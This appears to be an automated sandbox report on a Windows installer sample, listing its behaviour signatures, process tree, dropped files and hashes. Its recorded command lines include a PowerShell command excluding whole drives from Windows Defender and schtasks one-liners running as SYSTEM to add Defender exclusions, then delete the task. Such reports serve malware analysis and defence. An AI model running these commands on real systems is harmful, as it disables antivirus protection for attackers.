Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 00:49

General

  • Target
    inst_smt008.exe
  • Size 55.2MB
  • Sample260805-a6vwvsbc22
  • SHA256 ee4913068357835daf7d5cb65f4f751747609d2408c12590ddd2b9070d82d952
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4368
  • C:\Users\Public\jJBQw3\ALeR0w.exe
    "C:\Users\Public\jJBQw3\ALeR0w.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2576
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jJBQw3\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5984
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jJBQw3\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3532
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5512
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1780
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2032
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1572
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:556
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3384
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4892
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1852
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1744
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4304
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2772
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4244
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3488
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3504
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4172
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2428
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3668
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4048
                        • C:\Program Files (x86)\vCGsDN\bqMqsF.exe
                          "C:\Program Files (x86)\vCGsDN\bqMqsF.exe"
                          2⤵
                            PID:5244
                        • C:\Users\Public\jJBQw3\ALeR0w.exe
                          "C:\Users\Public\jJBQw3\ALeR0w.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2144
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jJBQw3" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5200
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jJBQw3" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3044
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3188
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:964
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4712
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5280
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5032
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3360
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3256

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\vCGsDN\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 ec65fe13b6b182a2373a35e73025772b0053326fc1ad87f9e419fcbbb37c0713
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                bqMqsF.exe

                                • Path C:\Program Files (x86)\vCGsDN\bqMqsF.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\vCGsDN\image.png
                                • Size 2.6MB
                                • SHA256 09e1816239252d0db297ae9d242c9c75eb71207f3fcf826236cd82221201b56e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ALeR0w.exe

                                • Path C:\Users\Public\jJBQw3\ALeR0w.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\jJBQw3\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 1df1253cec94f3d71c4b44221af08b5f7f9b45f288c02a1e374aafae4daf3e07
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\jJBQw3\adoresd.dat
                                • Size 4.7MB
                                • SHA256 d9553b5477f44657173b8a743a8b4b1b0afebaef67ba98504687236bba0568f8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\jJBQw3\msadox.tb
                                • Size 8KB
                                • SHA256 8528be2693acc8cf58c61c5777b4292426c1d7e95c54d584ddebd61306201f13
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1524-556-0x000001F763CB0000-0x000001F763D3A000-memory.dmp

                                memory/1524-565-0x000001F763380000-0x000001F763C11000-memory.dmp

                                memory/1524-530-0x00007FFB6D260000-0x00007FFB6D77E000-memory.dmp

                                memory/1524-529-0x00007FFB8FD70000-0x00007FFB8FD72000-memory.dmp

                                memory/1524-535-0x000001F763380000-0x000001F763C11000-memory.dmp

                                memory/1524-537-0x00007FFB8FD80000-0x00007FFB8FD82000-memory.dmp

                                memory/1524-538-0x000001F763380000-0x000001F763C11000-memory.dmp

                                memory/1524-542-0x000001F763380000-0x000001F763C11000-memory.dmp

                                memory/1524-543-0x000001F763380000-0x000001F763C11000-memory.dmp

                                memory/1524-544-0x000001F763380000-0x000001F763C11000-memory.dmp

                                memory/1524-545-0x000001F763380000-0x000001F763C11000-memory.dmp

                                memory/1524-549-0x000001F763380000-0x000001F763C11000-memory.dmp

                                memory/1524-558-0x000001F763CB0000-0x000001F763D3A000-memory.dmp

                                memory/1524-560-0x000001F763CB0000-0x000001F763D3A000-memory.dmp

                                memory/1524-557-0x000001F763CB0000-0x000001F763D3A000-memory.dmp

                                memory/1524-564-0x000001F763380000-0x000001F763C11000-memory.dmp

                                memory/1524-555-0x000001F7628B0000-0x000001F7628FE000-memory.dmp

                                memory/1524-562-0x000001F763380000-0x000001F763C11000-memory.dmp

                                memory/2144-583-0x000002AFD1CE0000-0x000002AFD2571000-memory.dmp

                                memory/2144-586-0x00007FFB8FD70000-0x00007FFB8FD72000-memory.dmp

                                memory/2144-571-0x00007FFB6D260000-0x00007FFB6D77E000-memory.dmp

                                memory/2144-575-0x000002AFD1CE0000-0x000002AFD2571000-memory.dmp

                                memory/2144-580-0x000002AFD1CE0000-0x000002AFD2571000-memory.dmp

                                memory/2144-577-0x00007FFB8FD80000-0x00007FFB8FD82000-memory.dmp

                                memory/2144-582-0x000002AFD1CE0000-0x000002AFD2571000-memory.dmp

                                memory/2144-585-0x000002AFD1CE0000-0x000002AFD2571000-memory.dmp

                                memory/2144-584-0x000002AFD1CE0000-0x000002AFD2571000-memory.dmp

                                memory/2576-605-0x0000020BB7970000-0x0000020BB7A22000-memory.dmp

                                memory/2576-604-0x0000020BB7950000-0x0000020BB796E000-memory.dmp

                                memory/2576-598-0x0000020BB7920000-0x0000020BB7942000-memory.dmp

                                memory/2576-606-0x0000020BB78A0000-0x0000020BB78AA000-memory.dmp

                                memory/4368-0-0x0000000000570000-0x000000000057D000-memory.dmp

                                memory/4368-524-0x00007FFB83E70000-0x00007FFB83E82000-memory.dmp

                                memory/4368-523-0x0000000000570000-0x000000000057D000-memory.dmp

                                memory/4368-503-0x00007FFB83E70000-0x00007FFB83E82000-memory.dmp

                                memory/4368-1-0x0000000000580000-0x000000000058B000-memory.dmp

                                memory/5244-674-0x00000000028E0000-0x00000000028E1000-memory.dmp

                                memory/5244-675-0x00000000743F0000-0x0000000074B3A000-memory.dmp